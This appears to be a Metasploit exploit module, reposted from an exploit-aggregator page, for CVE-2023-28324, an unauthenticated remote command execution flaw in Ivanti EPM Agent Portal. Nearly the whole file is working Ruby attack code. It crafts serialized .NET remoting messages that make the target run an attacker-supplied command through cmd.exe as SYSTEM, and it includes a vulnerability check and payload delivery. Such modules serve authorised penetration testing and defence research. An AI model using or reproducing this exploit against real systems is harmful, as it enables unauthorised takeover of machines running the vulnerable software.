Share
## https://sploitus.com/exploit?id=PACKETSTORM:182719
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
  
require 'rex/proto/ms_nrtp/client'  
  
class MetasploitModule < Msf::Exploit::Remote  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::Tcp  
  
Rank = ExcellentRanking  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Ivanti EPM Agent Portal Command Execution',  
'Description' => %q{  
This module leverages an unauthenticated RCE in Ivanti's EPM Agent Portal where a RPC client can invoke a method  
which will run an attacker-specified string on the remote target as NT AUTHORITY\SYSTEM.  
This vulnerability is present in versions prior to EPM 2021.1 Su4 and EPM 2022 Su2.  
},  
'Author' => [  
'James Horseman', # original poc  
'Zach Hanley', # original poc  
'Spencer McIntyre' # metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2023-28324'],  
['URL', 'https://forums.ivanti.com/s/article/SA-2023-06-06-CVE-2023-28324?language=en_US'],  
['URL', 'https://github.com/horizon3ai/CVE-2023-28324'],  
],  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Targets' => [  
[ 'Automatic', {} ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2023-06-07', # Ivanti article created date  
'Notes' => {  
'Stability' => [ CRASH_SAFE, ],  
'SideEffects' => [ ],  
'Reliability' => [ REPEATABLE_SESSION, ]  
}  
)  
)  
  
register_options([  
Opt::RPORT(nil, true, 'The target port is not static. For more info, see this module\'s Verifications Steps in the docs.'),  
])  
deregister_options('SSL')  
end  
  
def check  
cwd = execute_command('echo %cd%', 0)  
return CheckCode::Safe('Command execution failed.') unless cwd.to_s =~ /.:\\Windows\\System32/i  
  
CheckCode::Vulnerable("Command execution test succeeded. Current working directory: #{cwd}")  
rescue Rex::SocketError => e  
CheckCode::Safe("MS-NRTP connection failed. #{e.class}: #{e.message}")  
end  
  
def exploit  
execute_command(payload.raw)  
end  
  
def execute_command(command, result_delay = -1)  
if @nrtp_client.nil?  
@nrtp_client = client = IAgentPortal.new(  
datastore['RHOST'],  
datastore['RPORT'],  
'LANDeskAgentPortal/LDSM',  
context: { 'Msf' => framework, 'MsfExploit' => self }  
)  
client.connect  
vprint_status('Connected to the remote end point')  
else  
client = @nrtp_client  
end  
  
client.do_request(command)  
return nil unless result_delay >= 0  
  
sleep result_delay  
client.do_get_result  
end  
end  
  
class IAgentPortal < Rex::Proto::MsNrtp::Client  
def recv_binary  
Msf::Util::DotNetDeserialization::Types::SerializedStream.read(recv)  
end  
  
def send_recv_binary(serialized_stream)  
send_binary(serialized_stream)  
recv_binary  
end  
  
def do_request(shell_command)  
ss_response = send_recv_binary(ss_request(shell_command))  
method_return = ss_response.records.find { |record| record.record_type == Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodReturn] }  
method_return.record_value.return_value.val.value  
end  
  
def do_get_result  
ss_response = send_recv_binary(ss_get_result)  
ass = ss_response.records.find { |record| record.record_type == Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleString] }  
return nil unless ass  
  
ass.record_value.members.first.record_value.string.value  
end  
  
private  
  
def ss_get_result  
Msf::Util::DotNetDeserialization::Types::SerializedStream.new({  
records: [  
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SerializedStreamHeader], record_value: { major_version: 1 } },  
{  
record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodCall],  
record_value: {  
message_enum: {  
no_context: 1,  
args_inline: 1  
},  
method_name: 'GetResult',  
type_name: 'LANDesk.AgentPortal.IAgentPortal, AgentPortal, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb',  
args: [{ primitive_type_enum: Msf::Util::DotNetDeserialization::Enums::PrimitiveTypeEnum[:String], val: 'localhost' }]  
}  
},  
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MessageEnd] }  
]  
})  
end  
  
def ss_request(shell_command)  
Msf::Util::DotNetDeserialization::Types::SerializedStream.new({  
records: [  
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SerializedStreamHeader], record_value: { root_id: 1, header_id: -1, major_version: 1, minor_version: 0 } },  
{  
record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodCall],  
record_value: {  
message_enum: {  
method_signature_in_array: 1,  
no_context: 1,  
args_in_array: 1  
},  
method_name: 'Request',  
type_name: 'LANDesk.AgentPortal.IAgentPortal, AgentPortal, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb'  
}  
},  
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleObject], record_value: { array_info: { obj_id: 1, member_count: 2 } } },  
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 2 } },  
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 3 } },  
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleObject], record_value: { array_info: { obj_id: 2, member_count: 4 } } },  
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 4, string: 'localhost' } },  
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 5 } },  
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 6, string: 'cmd.exe' } },  
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 7, string: "/c #{shell_command}" } },  
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryArray], record_value: { obj_id: 3, binary_array_type_enum: 0, rank: 1, lengths: [4], type_enum: 3, additional_type_info: 'System.Type' } },  
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } },  
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 9 } },  
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } },  
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } },  
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryLibrary], record_value: { library_id: 11, library_name: 'APCommon, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb' } },  
{  
record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ClassWithMembersAndTypes],  
record_value: {  
class_info: { obj_id: 5, name: 'LANDesk.AgentPortal.IAgentPortalBase+ActionEnum', member_count: 1, member_names: ['value__'] },  
member_type_info: { binary_type_enums: [0], additional_infos: [8] },  
library_id: 11,  
member_values: [1]  
}  
},  
{  
record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SystemClassWithMembersAndTypes],  
record_value: {  
class_info: { obj_id: 8, name: 'System.UnitySerializationHolder', member_count: 3, member_names: ['Data', 'UnityType', 'AssemblyName'] },  
member_type_info: { binary_type_enums: [1, 0, 1], additional_infos: [8] },  
member_values: [{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 12, string: 'System.String' } }, 4, { record_type: 6, record_value: { obj_id: 13, string: 'mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' } }]  
}  
},  
{  
record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ClassWithId],  
record_value: {  
obj_id: 9,  
metadata_id: 8,  
member_values: [  
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 14, string: 'LANDesk.AgentPortal.IAgentPortalBase+ActionEnum' } },  
4,  
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 15, string: 'APCommon, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb' } }  
]  
}  
},  
{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MessageEnd], record_value: {} }  
]  
})  
end  
end